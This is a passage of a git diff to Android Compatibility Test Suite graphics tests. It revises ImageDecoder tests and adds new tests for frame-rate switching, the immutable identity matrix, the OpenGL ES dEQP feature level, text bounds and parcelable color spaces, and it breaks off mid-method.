         class Listener implements ImageDecoder.OnHeaderDecodedListener {
             public int allocator;
             public boolean doCrop;
@@ -388,51 +404,52 @@
         };
         Listener l = new Listener();
 
-        boolean trueFalse[] = new boolean[] { true, false };
+        // This test relies on ImageDecoder *not* scaling to account for density.
+        // Temporarily change the DisplayMetrics to prevent that scaling.
         Resources res = getResources();
+        final int originalDensity = res.getDisplayMetrics().densityDpi;
+        res.getDisplayMetrics().densityDpi = DisplayMetrics.DENSITY_DEFAULT;
         ImageDecoder.Source src = ImageDecoder.createSource(res, record.resId);
         assertNotNull(src);
-        for (int allocator : ALLOCATORS) {
-            for (boolean doCrop : trueFalse) {
-                for (boolean doScale : trueFalse) {
-                    l.doCrop = doCrop;
-                    l.doScale = doScale;
-                    l.allocator = allocator;
+        l.doCrop = doCrop;
+        l.doScale = doScale;
+        l.allocator = allocator;
 
-                    Bitmap bm = null;
-                    try {
-                        bm = ImageDecoder.decodeBitmap(src, l);
-                    } catch (IOException e) {
-                        fail("Failed " + Utils.getAsResourceUri(record.resId)
-                                + " with exception " + e);
-                    }
-                    assertNotNull(bm);
+        Bitmap bm = null;
+        try {
+            bm = ImageDecoder.decodeBitmap(src, l);
+        } catch (IOException e) {
+            fail("Failed " + Utils.getAsResourceUri(record.resId)
+                    + " with exception " + e);
+        } finally {
+            res.getDisplayMetrics().densityDpi = originalDensity;
+        }
+        assertNotNull(bm);
 
-                    switch (allocator) {
-                        case ImageDecoder.ALLOCATOR_SOFTWARE:
-                        // TODO: Once Bitmap provides access to its
-                        // SharedMemory, confirm that ALLOCATOR_SHARED_MEMORY
-                        // worked.
-                        case ImageDecoder.ALLOCATOR_SHARED_MEMORY:
-                            assertNotEquals(Bitmap.Config.HARDWARE, bm.getConfig());
+        switch (allocator) {
+            case ImageDecoder.ALLOCATOR_SHARED_MEMORY:
+                // For a Bitmap backed by shared memory, asShared will return
+                // the same Bitmap.
+                assertSame(bm, bm.asShared());
 
-                            if (!doScale && !doCrop) {
-                                BitmapFactory.Options options = new BitmapFactory.Options();
-                                options.inScaled = false;
-                                Bitmap reference = BitmapFactory.decodeResource(res,
-                                        record.resId, options);
-                                assertNotNull(reference);
-                                assertTrue(BitmapUtils.compareBitmaps(bm, reference));
-                            }
-                            break;
-                        default:
-                            String name = Utils.getAsResourceUri(record.resId).toString();
-                            assertEquals("image " + name + "; allocator: " + allocator,
-                                         Bitmap.Config.HARDWARE, bm.getConfig());
-                            break;
-                    }
+                // fallthrough
+            case ImageDecoder.ALLOCATOR_SOFTWARE:
+                assertNotEquals(Bitmap.Config.HARDWARE, bm.getConfig());
+
+                if (!doScale && !doCrop) {
+                    BitmapFactory.Options options = new BitmapFactory.Options();
+                    options.inScaled = false;
+                    Bitmap reference = BitmapFactory.decodeResource(res,
+                            record.resId, options);
+                    assertNotNull(reference);
+                    assertTrue(BitmapUtils.compareBitmaps(bm, reference));
                 }
-            }
+                break;
+            default:
+                String name = Utils.getAsResourceUri(record.resId).toString();
+                assertEquals("image " + name + "; allocator: " + allocator,
+                             Bitmap.Config.HARDWARE, bm.getConfig());
+                break;
         }
     }
 
@@ -2006,11 +2023,74 @@
         }
     }
 
+    @Test
+    public void testOrientationWithSampleSize() {
+        Uri uri = Utils.getAsResourceUri(R.drawable.orientation_6);
+        ImageDecoder.Source src = ImageDecoder.createSource(getContentResolver(), uri);
+        final int sampleSize = 7;
+        try {
+            Bitmap bm = ImageDecoder.decodeBitmap(src, (decoder, info, s) -> {
+                decoder.setTargetSampleSize(sampleSize);
+            });
+            assertNotNull(bm);
+
+            // The unsampled image, after rotation, is 100 x 80
+            assertEquals(100 / sampleSize, bm.getWidth());
+            assertEquals( 80 / sampleSize, bm.getHeight());
+        } catch (IOException e) {
+            fail("Failed to decode " + uri.toString() + " with a sampleSize (" + sampleSize + ")");
+        }
+    }
+
+    @Test(expected = ArrayIndexOutOfBoundsException.class)
+    public void testArrayOutOfBounds() {
+        byte[] array = new byte[10];
+        ImageDecoder.createSource(array, 1, 10);
+    }
+
+    @Test(expected = ArrayIndexOutOfBoundsException.class)
+    public void testOffsetOutOfBounds() {
+        byte[] array = new byte[10];
+        ImageDecoder.createSource(array, 10, 0);
+    }
+
+    @Test(expected = ArrayIndexOutOfBoundsException.class)
+    public void testLengthOutOfBounds() {
+        byte[] array = new byte[10];
+        ImageDecoder.createSource(array, 0, 11);
+    }
+
+    @Test(expected = ArrayIndexOutOfBoundsException.class)
+    public void testNegativeLength() {
+        byte[] array = new byte[10];
+        ImageDecoder.createSource(array, 0, -1);
+    }
+
+    @Test(expected = ArrayIndexOutOfBoundsException.class)
+    public void testNegativeOffset() {
+        byte[] array = new byte[10];
+        ImageDecoder.createSource(array, -1, 10);
+    }
+
+    @Test(expected = NullPointerException.class)
+    public void testNullByteArray() {
+        ImageDecoder.createSource(null, 0, 0);
+    }
+
+    @Test(expected = NullPointerException.class)
+    public void testNullByteArray2() {
+        byte[] array = null;
+        ImageDecoder.createSource(array);
+    }
+
+    @Test(expected = IOException.class)
+    public void testZeroLengthByteArray() throws IOException {
+        ImageDecoder.decodeDrawable(ImageDecoder.createSource(new byte[10], 0, 0));
+    }
+
     @Test(expected = IOException.class)
     public void testZeroLengthByteBuffer() throws IOException {
-        Drawable drawable = ImageDecoder.decodeDrawable(
-            ImageDecoder.createSource(ByteBuffer.wrap(new byte[10], 0, 0)));
-        fail("should not have reached here!");
+        ImageDecoder.decodeDrawable(ImageDecoder.createSource(ByteBuffer.wrap(new byte[10], 0, 0)));
     }
 
     private interface ByteBufferSupplier extends Supplier<ByteBuffer> {};
@@ -2103,6 +2183,24 @@
 
     @Test
     @Parameters(method = "getRecords")
+    public void testOffsetByteArray2(Record record) throws IOException {
+        ImageDecoder.Source src = ImageDecoder.createSource(getAsByteArray(record.resId));
+        Bitmap expected = ImageDecoder.decodeBitmap(src, (decoder, info, s) -> {
+            decoder.setAllocator(ImageDecoder.ALLOCATOR_SOFTWARE);
+        });
+
+        final int offset = 10;
+        final int extra = 15;
+        final byte[] array = getAsByteArray(record.resId, offset, extra);
+        src = ImageDecoder.createSource(array, offset, array.length - (offset + extra));
+        Bitmap actual = ImageDecoder.decodeBitmap(src, (decoder, info, s) -> {
+            decoder.setAllocator(ImageDecoder.ALLOCATOR_SOFTWARE);
+        });
+        assertTrue(actual.sameAs(expected));
+    }
+
+    @Test
+    @Parameters(method = "getRecords")
     public void testResourceSource(Record record) {
         ImageDecoder.Source src = ImageDecoder.createSource(getResources(), record.resId);
         try {
diff --git a/tests/tests/graphics/src/android/graphics/cts/MatchContentFrameRateTest.java b/tests/tests/graphics/src/android/graphics/cts/MatchContentFrameRateTest.java
new file mode 100644
index 0000000..25954d8
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/cts/MatchContentFrameRateTest.java
@@ -0,0 +1,103 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.cts;
+
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertEquals;
+
+import android.Manifest;
+import android.hardware.display.DisplayManager;
+
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.AdoptShellPermissionsRule;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class MatchContentFrameRateTest {
+    private static final int SETTING_PROPAGATION_TIMEOUT_MILLIS = 50;
+
+    @Rule
+    public ActivityTestRule<FrameRateCtsActivity> mActivityRule =
+            new ActivityTestRule<>(FrameRateCtsActivity.class);
+
+    @Rule
+    public final AdoptShellPermissionsRule mShellPermissionsRule =
+            new AdoptShellPermissionsRule(getInstrumentation().getUiAutomation(),
+                    Manifest.permission.OVERRIDE_DISPLAY_MODE_REQUESTS,
+                    Manifest.permission.MODIFY_REFRESH_RATE_SWITCHING_TYPE);
+
+    private int mInitialMatchContentFrameRate;
+    private DisplayManager mDisplayManager;
+
+    @Before
+    public void setUp() throws Exception {
+        FrameRateCtsActivity activity = mActivityRule.getActivity();
+
+        // Prevent DisplayManager from limiting the allowed refresh rate range based on
+        // non-app policies (e.g. low battery, user settings, etc).
+        mDisplayManager = activity.getSystemService(DisplayManager.class);
+        mDisplayManager.setShouldAlwaysRespectAppRequestedMode(true);
+
+        mInitialMatchContentFrameRate = mDisplayManager.getRefreshRateSwitchingType();
+    }
+
+    @After
+    public void tearDown() {
+        mDisplayManager.setRefreshRateSwitchingType(mInitialMatchContentFrameRate);
+        mDisplayManager.setShouldAlwaysRespectAppRequestedMode(false);
+    }
+
+    @Test
+    public void testMatchContentFramerate_None() throws InterruptedException {
+        mDisplayManager.setRefreshRateSwitchingType(DisplayManager.SWITCHING_TYPE_NONE);
+        assertEquals(DisplayManager.SWITCHING_TYPE_NONE,
+                mDisplayManager.getRefreshRateSwitchingType());
+
+        FrameRateCtsActivity activity = mActivityRule.getActivity();
+        activity.testMatchContentFramerate_None();
+    }
+
+    @Test
+    public void testMatchContentFramerate_Auto() throws InterruptedException {
+        mDisplayManager.setRefreshRateSwitchingType(DisplayManager.SWITCHING_TYPE_WITHIN_GROUPS);
+        assertEquals(DisplayManager.SWITCHING_TYPE_WITHIN_GROUPS,
+                mDisplayManager.getRefreshRateSwitchingType());
+
+        FrameRateCtsActivity activity = mActivityRule.getActivity();
+        activity.testMatchContentFramerate_Auto();
+    }
+
+    @Test
+    public void testMatchContentFramerate_Always() throws InterruptedException {
+        mDisplayManager.setRefreshRateSwitchingType(
+                DisplayManager.SWITCHING_TYPE_ACROSS_AND_WITHIN_GROUPS);
+        assertEquals(DisplayManager.SWITCHING_TYPE_ACROSS_AND_WITHIN_GROUPS,
+                mDisplayManager.getRefreshRateSwitchingType());
+        FrameRateCtsActivity activity = mActivityRule.getActivity();
+        activity.testMatchContentFramerate_Always();
+    }
+}
diff --git a/tests/tests/graphics/src/android/graphics/cts/MatrixTest.java b/tests/tests/graphics/src/android/graphics/cts/MatrixTest.java
index d67411f..07bc33e 100644
--- a/tests/tests/graphics/src/android/graphics/cts/MatrixTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/MatrixTest.java
@@ -60,6 +60,180 @@
     }
 
     @Test
+    public void testIdentityMatrix() {
+        assertNotNull(Matrix.IDENTITY_MATRIX);
+        assertTrue(Matrix.IDENTITY_MATRIX.isIdentity());
+        assertTrue(Matrix.IDENTITY_MATRIX.isAffine());
+        assertTrue(Matrix.IDENTITY_MATRIX.rectStaysRect());
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixSet() {
+        Matrix m = new Matrix();
+        m.setRotate(90);
+        Matrix.IDENTITY_MATRIX.set(m);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixReset() {
+        Matrix.IDENTITY_MATRIX.reset();
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixSetTranslate() {
+        Matrix.IDENTITY_MATRIX.setTranslate(1f, 1f);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixSetScale() {
+        Matrix.IDENTITY_MATRIX.setScale(.5f, .5f);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixSetScalePivot() {
+        Matrix.IDENTITY_MATRIX.setScale(.5f, .5f, 10f, 10f);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixSetRotate() {
+        Matrix.IDENTITY_MATRIX.setRotate(60);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixSetRotateAbout() {
+        Matrix.IDENTITY_MATRIX.setRotate(60, 100f, 100f);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixSetSinCos() {
+        Matrix.IDENTITY_MATRIX.setSinCos(1f, 2f);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixSetSinCosPivot() {
+        Matrix.IDENTITY_MATRIX.setSinCos(1f, 2f, 3f, 4f);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixSetSkew() {
+        Matrix.IDENTITY_MATRIX.setSkew(1f, 2f);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixSetSkewPivot() {
+        Matrix.IDENTITY_MATRIX.setSkew(1f, 2f, 3f, 4f);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixSetConcat() {
+        Matrix a = new Matrix();
+        Matrix b = new Matrix();
+        Matrix.IDENTITY_MATRIX.setConcat(a, b);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixPreTranslate() {
+        Matrix.IDENTITY_MATRIX.preTranslate(10f, 10f);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixPreScale() {
+        Matrix.IDENTITY_MATRIX.preScale(10f, 10f);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixPreScalePivot() {
+        Matrix.IDENTITY_MATRIX.preScale(10f, 10f, 100f, 100f);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixPreRotate() {
+        Matrix.IDENTITY_MATRIX.preRotate(10f);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixPreRotatePivot() {
+        Matrix.IDENTITY_MATRIX.preRotate(10f, 10f, 10f);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixPreSkew() {
+        Matrix.IDENTITY_MATRIX.preSkew(1f, 3f);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixPreSkewPivot() {
+        Matrix.IDENTITY_MATRIX.preSkew(1f, 3f, 4f, 7f);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixPreConcat() {
+        Matrix a = new Matrix();
+        Matrix.IDENTITY_MATRIX.preConcat(a);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixPostTranslate() {
+        Matrix.IDENTITY_MATRIX.postTranslate(10f, 10f);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixPostScale() {
+        Matrix.IDENTITY_MATRIX.postScale(10f, 10f);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixPostScalePivot() {
+        Matrix.IDENTITY_MATRIX.postScale(10f, 10f, 100f, 100f);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixPostRotate() {
+        Matrix.IDENTITY_MATRIX.postRotate(10f);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixPostRotatePivot() {
+        Matrix.IDENTITY_MATRIX.postRotate(10f, 10f, 10f);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixPostSkew() {
+        Matrix.IDENTITY_MATRIX.postSkew(1f, 3f);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixPostSkewPivot() {
+        Matrix.IDENTITY_MATRIX.postSkew(1f, 3f, 4f, 7f);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixPostConcat() {
+        Matrix a = new Matrix();
+        Matrix.IDENTITY_MATRIX.postConcat(a);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixSetRectToRect() {
+        Matrix.IDENTITY_MATRIX.setRectToRect(new RectF(), new RectF(), ScaleToFit.CENTER);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixSetPolyToPoly() {
+        float[] src = new float[9];
+        src[0] = 100f;
+        float[] dst = new float[9];
+        dst[0] = 200f;
+        dst[1] = 300f;
+        Matrix.IDENTITY_MATRIX.setPolyToPoly(src, 0, dst, 0, 1);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixSetValues() {
+        Matrix.IDENTITY_MATRIX.setValues(new float[9]);
+    }
+
+    @Test
     public void testRectStaysRect() {
         assertTrue(mMatrix.rectStaysRect());
         mMatrix.postRotate(80);
diff --git a/tests/tests/graphics/src/android/graphics/cts/OpenGlEsDeqpLevelTest.java b/tests/tests/graphics/src/android/graphics/cts/OpenGlEsDeqpLevelTest.java
new file mode 100644
index 0000000..b0eb025
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/cts/OpenGlEsDeqpLevelTest.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.cts;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.pm.FeatureInfo;
+import android.content.pm.PackageManager;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.CddTest;
+import com.android.compatibility.common.util.PropertyUtil;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test that feature flag android.software.opengles.deqp.level is present and that it has an
+ * acceptable value.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class OpenGlEsDeqpLevelTest {
+
+    private static final String TAG = OpenGlEsDeqpLevelTest.class.getSimpleName();
+    private static final boolean DEBUG = false;
+
+    private static final int MINIMUM_OPENGLES_DEQP_LEVEL = 0x07E40301; // Corresponds to 2020-03-01
+
+    private PackageManager mPm;
+
+    @Before
+    public void setup() throws Throwable {
+        mPm = InstrumentationRegistry.getTargetContext().getPackageManager();
+    }
+
+    @Test
+    public void testOpenGlEsDeqpLevel() {
+        assumeTrue(
+                "Test does not apply for vendor image with API level lower than Android 12",
+                PropertyUtil.isVendorApiLevelNewerThan(29));
+        if (DEBUG) {
+            Log.d(TAG, "Checking whether " + PackageManager.FEATURE_OPENGLES_DEQP_LEVEL
+                    + " has an acceptable value");
+        }
+        assertTrue("Feature " + PackageManager.FEATURE_OPENGLES_DEQP_LEVEL + " must be present "
+                + "and have at least version " + MINIMUM_OPENGLES_DEQP_LEVEL,
+                mPm.hasSystemFeature(PackageManager.FEATURE_OPENGLES_DEQP_LEVEL,
+                        MINIMUM_OPENGLES_DEQP_LEVEL));
+    }
+
+}
diff --git a/tests/tests/graphics/src/android/graphics/cts/Paint_TextBoundsTest.java b/tests/tests/graphics/src/android/graphics/cts/Paint_TextBoundsTest.java
new file mode 100644
index 0000000..708e6a1
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/cts/Paint_TextBoundsTest.java
@@ -0,0 +1,173 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.res.AssetManager;
+import android.graphics.Paint;
+import android.graphics.Rect;
+import android.graphics.Typeface;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class Paint_TextBoundsTest {
+
+    /**
+     * A character that has 1em x 1em size from (0, 0) origin.
+     */
+    private static final String CHAR_1EMx1EM = "a";
+
+    /**
+     * A character that has 2em x 2em size from (0, 0) origin.
+     */
+    private static final String CHAR_2EMx2EM = "b";
+
+    /**
+     * A character that has 3em x 3em size from (0, 0) origin.
+     */
+    private static final String CHAR_3EMx3EM = "c";
+
+    /**
+     * A character that has 2em x 2em size from (1em, 0) origin.
+     */
+    private static final String CHAR_2EMx2EM_LSB_1EM = "d";
+
+    /**
+     * A character that has 1em x 1em size from (0, 1em) origin.
+     */
+    private static final String CHAR_1EMx1EM_Y1EM_ORIGIN = "e";
+
+    private static Paint getPaint() {
+        Paint paint = new Paint();
+        AssetManager am = InstrumentationRegistry.getTargetContext().getAssets();
+        Typeface typeface = Typeface.createFromAsset(am, "fonts/measurement/bbox.ttf");
+        paint.setTypeface(typeface);
+        paint.setTextSize(100f);  // Make 1em = 100px
+        return paint;
+    }
+
+    @Test
+    public void testSingleChar_1em() {
+        Paint p = getPaint();
+        Rect r = new Rect();
+        p.getTextBounds(CHAR_1EMx1EM, 0, 1, r);
+        assertThat(r.left).isEqualTo(0);
+        assertThat(r.top).isEqualTo(-100);
+        assertThat(r.right).isEqualTo(100);
+        assertThat(r.bottom).isEqualTo(0);
+    }
+
+    @Test
+    public void testSingleChar_2em() {
+        Paint p = getPaint();
+        Rect r = new Rect();
+        p.getTextBounds(CHAR_2EMx2EM, 0, 1, r);
+        assertThat(r.left).isEqualTo(0);
+        assertThat(r.top).isEqualTo(-200);
+        assertThat(r.right).isEqualTo(200);
+        assertThat(r.bottom).isEqualTo(0);
+    }
+
+    @Test
+    public void testSingleChar_2em_with_lsb() {
+        Paint p = getPaint();
+        Rect r = new Rect();
+        p.getTextBounds(CHAR_2EMx2EM_LSB_1EM, 0, 1, r);
+        assertThat(r.left).isEqualTo(100);
+        assertThat(r.top).isEqualTo(-200);
+        assertThat(r.right).isEqualTo(300);
+        assertThat(r.bottom).isEqualTo(0);
+    }
+
+    @Test
+    public void testSingleChar_1em_with_y1em_origin() {
+        Paint p = getPaint();
+        Rect r = new Rect();
+        p.getTextBounds(CHAR_1EMx1EM_Y1EM_ORIGIN, 0, 1, r);
+        assertThat(r.left).isEqualTo(0);
+        assertThat(r.top).isEqualTo(-200);
+        assertThat(r.right).isEqualTo(100);
+        assertThat(r.bottom).isEqualTo(-100);
+    }
+
+    @Test
+    public void testMultiChar_1em_1em() {
+        Paint p = getPaint();
+        Rect r = new Rect();
+        p.getTextBounds(CHAR_1EMx1EM + CHAR_1EMx1EM, 0, 2, r);
+        assertThat(r.left).isEqualTo(0);
+        assertThat(r.top).isEqualTo(-100);
+        assertThat(r.right).isEqualTo(200);
+        assertThat(r.bottom).isEqualTo(0);
+    }
+
+    @Test
+    public void testMultiChar_1em_2em() {
+        Paint p = getPaint();
+        Rect r = new Rect();
+        p.getTextBounds(CHAR_1EMx1EM + CHAR_2EMx2EM, 0, 2, r);
+        assertThat(r.left).isEqualTo(0);
+        assertThat(r.top).isEqualTo(-200);
+        assertThat(r.right).isEqualTo(300);
+        assertThat(r.bottom).isEqualTo(0);
+    }
+
+    @Test
+    public void testMultiChar_3em_2em_with_lsb() {
+        Paint p = getPaint();
+        Rect r = new Rect();
+        p.getTextBounds(CHAR_3EMx3EM + CHAR_2EMx2EM_LSB_1EM, 0, 2, r);
+        assertThat(r.left).isEqualTo(0);
+        assertThat(r.top).isEqualTo(-300);
+        assertThat(r.right).isEqualTo(600);
+        assertThat(r.bottom).isEqualTo(0);
+    }
+
+    @Test
+    public void testMultiChar_1em_with_y1em() {
+        Paint p = getPaint();
+        Rect r = new Rect();
+        p.getTextBounds(CHAR_1EMx1EM + CHAR_1EMx1EM_Y1EM_ORIGIN, 0, 2, r);
+        assertThat(r.left).isEqualTo(0);
+        assertThat(r.top).isEqualTo(-200);
+        assertThat(r.right).isEqualTo(200);
+        assertThat(r.bottom).isEqualTo(0);
+    }
+
+    @Test
+    public void testMultiChar_1em_5times() {
+        Paint p = getPaint();
+        Rect r = new Rect();
+        StringBuilder b = new StringBuilder();
+        for (int i = 0; i < 5; ++i) {
+            b.append(CHAR_1EMx1EM);
+        }
+        p.getTextBounds(b.toString(), 0, b.length(), r);
+        assertThat(r.left).isEqualTo(0);
+        assertThat(r.top).isEqualTo(-100);
+        assertThat(r.right).isEqualTo(500);
+        assertThat(r.bottom).isEqualTo(0);
+    }
+}
diff --git a/tests/tests/graphics/src/android/graphics/cts/ParcelableColorSpaceTest.java b/tests/tests/graphics/src/android/graphics/cts/ParcelableColorSpaceTest.java
new file mode 100644
index 0000000..ca97dbe
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/cts/ParcelableColorSpaceTest.java
@@ -0,0 +1,141 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNotSame;
+import static org.junit.Assert.assertTrue;
+import static org.testng.Assert.assertSame;
+import static org.testng.Assert.assertThrows;
+
+import android.graphics.Bitmap;
+import android.graphics.ColorSpace;
+import android.graphics.ParcelableColorSpace;
+import android.os.Parcel;
+
+import androidx.test.filters.SmallTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import junitparams.JUnitParamsRunner;
+import junitparams.Parameters;
+
+@SmallTest
+@RunWith(JUnitParamsRunner.class)
+public class ParcelableColorSpaceTest {
+
+    public Object[] getNamedColorSpaces() {
+        ColorSpace.Named[] names = ColorSpace.Named.values();
+        Object[] colorSpaces = new Object[names.length];
+        for (int i = 0; i < names.length; i++) {
+            colorSpaces[i] = ColorSpace.get(names[i]);
+        }
+        return colorSpaces;
+    }
+
+    @Test
+    @Parameters(method = "getNamedColorSpaces")
+    public void testNamedReadWrite(ColorSpace colorSpace) {
+        Parcel parcel = Parcel.obtain();
+        try {
+            ParcelableColorSpace inParcelable = new ParcelableColorSpace(colorSpace);
+            parcel.writeParcelable(inParcelable, 0);
+            parcel.setDataPosition(0);
+            ParcelableColorSpace outParcelable = parcel.readParcelable(
+                    ParcelableColorSpace.class.getClassLoader());
+            assertNotNull(outParcelable);
+            assertEquals(inParcelable, outParcelable);
+            assertEquals(inParcelable.getColorSpace(), outParcelable.getColorSpace());
+            // Because these are named, they should all be the same instances
+            assertSame(colorSpace, outParcelable.getColorSpace());
+        } finally {
+            parcel.recycle();
+        }
+    }
+
+    @Test
+    public void testReadWriteCustom() {
+        float[] xyz = new float[] {1f, 2f, 3f, 4f, 5f, 6f, 7f, 8f, 9f};
+        ColorSpace colorSpace = new ColorSpace.Rgb("DemoSpace", xyz, 1.9);
+        Parcel parcel = Parcel.obtain();
+        try {
+            ParcelableColorSpace inParcelable = new ParcelableColorSpace(colorSpace);
+            parcel.writeParcelable(inParcelable, 0);
+            parcel.setDataPosition(0);
+            ParcelableColorSpace outParcelable = parcel.readParcelable(
+                    ParcelableColorSpace.class.getClassLoader());
+            assertNotNull(outParcelable);
+            assertEquals(inParcelable, outParcelable);
+            assertEquals(inParcelable.getColorSpace(), outParcelable.getColorSpace());
+            assertSame(colorSpace, inParcelable.getColorSpace());
+            assertNotSame(colorSpace, outParcelable.getColorSpace());
+        } finally {
+            parcel.recycle();
+        }
+    }
+
+    @Test
+    public void testWriteInvalid() {
+        float[] xyz = new float[] {1f, 2f, 3f, 4f, 5f, 6f, 7f, 8f, 9f};
+        ColorSpace colorSpace = new ColorSpace.Rgb("DemoSpace", xyz,
+                x -> x, y -> y * 2);
+        assertThrows(IllegalArgumentException.class, () -> {
+            ParcelableColorSpace inParcelable = new ParcelableColorSpace(colorSpace);
+        });
+    }
+
+    @Test
+    @Parameters(method = "getNamedColorSpaces")
+    public void testIsParcelableNamed(ColorSpace colorSpace) {
+        assertTrue(ParcelableColorSpace.isParcelable(colorSpace));
+        // Just make sure the constructor doesn't throw
+        assertEquals(colorSpace, new ParcelableColorSpace(colorSpace).getColorSpace());
+    }
+
+    @Test
+    public void testIsParceableCustom() {
+        float[] xyz = new float[] {1f, 2f, 3f, 4f, 5f, 6f, 7f, 8f, 9f};
+        ColorSpace colorSpace = new ColorSpace.Rgb("DemoSpace", xyz, 1.9);
+        assertTrue(ParcelableColorSpace.isParcelable(colorSpace));
+        // Just make sure the constructor doesn't throw
+        assertEquals(colorSpace, new ParcelableColorSpace(colorSpace).getColorSpace());
+    }
+
+    @Test
+    public void testIsParcelableInvalid() {
+        float[] xyz = new float[] {1f, 2f, 3f, 4f, 5f, 6f, 7f, 8f, 9f};
+        ColorSpace colorSpace = new ColorSpace.Rgb("DemoSpace", xyz,
+                x -> x, y -> y * 2);
+        assertFalse(ParcelableColorSpace.isParcelable(colorSpace));
+    }
+
+    @Test
+    public void testIsColorSpaceContainer() {
